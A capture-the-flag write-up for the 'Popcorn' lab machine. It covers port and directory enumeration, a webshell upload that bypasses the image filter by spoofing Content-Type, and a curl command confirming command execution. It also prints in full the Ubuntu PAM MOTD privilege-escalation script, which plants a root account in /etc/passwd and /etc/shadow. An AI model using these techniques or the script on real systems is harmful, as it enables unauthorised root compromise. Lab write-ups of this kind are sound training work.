Popcorn
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 10000 10.129.36.23
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-22 10:43 EST
Nmap scan report for 10.129.36.23
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpWeb exploit based again.
Port 80
Visiting port 80 reveals a default html page.
I ran a gobuster scan and found a few directories.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.129.36.23 -x php,html,txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.36.23
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2023/01/22 10:44:39 Starting gobuster in directory enumeration mode
===============================================================
/test (Status: 200) [Size: 47046]
/test.php (Status: 200) [Size: 47058]
/index (Status: 200) [Size: 177]
/.html (Status: 403) [Size: 285]
/index.html (Status: 200) [Size: 177]
/torrent (Status: 301) [Size: 314] [-> http://10.129.36.23/torrent/]
/rename (Status: 301) [Size: 313] [-> http://10.129.36.23/rename/]
/.html (Status: 403) [Size: 285]There were a couple of directories to look at. The first was this test.php file which revealed the page for phpinfo();.
Here, we can find the PHP version that is running on the server.
PHP version 5.2.10 is insecure by today's standards, however without access to the cgi-bin, we cannot exploit this.
/torrent revealed a BitTorrent instance.
Lastly, on the /rename file, we see this API in play:
Perhaps this could be used to rename a file we have uploaded somehow...
File Upload RCE
On the BitTorrent instance, I registered an account. Here, I found that we are able to upload torrents to the machine:
Uploading a .txt file resulted in a This is not a valid torrent file error. We clearly need to bypass this file upload restriction somehow. In this case, I attempted to upload a cmd.php file but it also did not work.
Seems that this was not the right page to be exploiting. So I looked elsewhere and found that the creator uploaded another file when I clicked on Browse.
Interestingly, the owner was able to upload a torrent file with screenshots.
I then tried to download a torrent file from the Kali Linux official website (because nowhere else offered non-shady torrent files to download). This worked in the uploading. Afterwards, I can see that we are able to 'Edit this torrent'
Clicking created a pop-up where I was allowed to upload a screenshot.
Take note of the allowed types of images. Attempting to upload a PHP webshell doesn't work (obviously). So I tried to change the Content-Type header to image/jpg. This worked.
Now, I need to find a way to access this shell. Running a quick gobuster on the /torrent directory reveals an uploads directory is present.
Here I was able to find a PHP file uploaded on today's date.
And we can confirm we have RCE using curl.
$ curl http://popcorn.htb/torrent/upload/2f0dd1f17d87f07b593c479d3257ca18635e0b17.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Now, we can easily gain a reverse shell as www-data. We can also read the user flag as this user.
Privilege Escalation
TorrentHoster
Within the /home/george directory, we can find a .zip file of interest.
www-data@popcorn:/home/george$ ls
torrenthoster.zip user.txtWhen unzipped, this revealed a backup of the BitTorrent files. Nothing interseting here!
Path 1: Dirty Cow
This was a really old machine, so obviously kernel exploits for this work.
# output from linpeas
[+] Operative system
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009The Linux version of 2.6.31 was vulnerable to the Dirty Cow exploit, which is not the intended method but still works.
Path 2: Motd Exploit
When looking into the files the user had, I found one really interesting one, which was the motd files.
www-data@popcorn:/home/george/.cache$ ls -al
total 8
drwxr-xr-x 2 george george 4096 Mar 17 2017 .
drwxr-xr-x 3 george george 4096 Oct 26 2020 ..
-rw-r--r-- 1 george george 0 Mar 17 2017 motd.legal-displayedThis was interesting because there are exploits related to this. I found one here:
When the script was downloaded and run, I was able to spawn in a root shell.
Beyond Root
I wanted to take a look at how this script works.
#!/bin/bash
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toorThe vulnerability exploited here is how permissions of files changes depending on who is spawning the SSH process. For this machine, if we were to SSH in as www-data, a .cache file would be created that is owned by www-data. Afterwards, we can simply delete this file and replace it with a symlink to another file.
A subsequent login would cause the permissions of the symlinked file to be owned by www-data.
Here's what the script is doing:
Create a new SSH key and move it to the
~directory, which is at the/var/wwwdirectory forwww-data.Make a backup of the key (which failed actually).
Next, spawn an SSH process as
www-data. When this is triggered, a.cachefile is generated in/var/wwwowned bywww-data.The
.cachefile is then deleted. A symlink called.cacheis created to another file (for this script it is/etc/passwdfirst).A subsequent SSH process again then forces the
/etc/passwdpermissions to change and be owned bywww-data.Afterwards, the script appends another root user with a known password to generate the root shell.
Last updated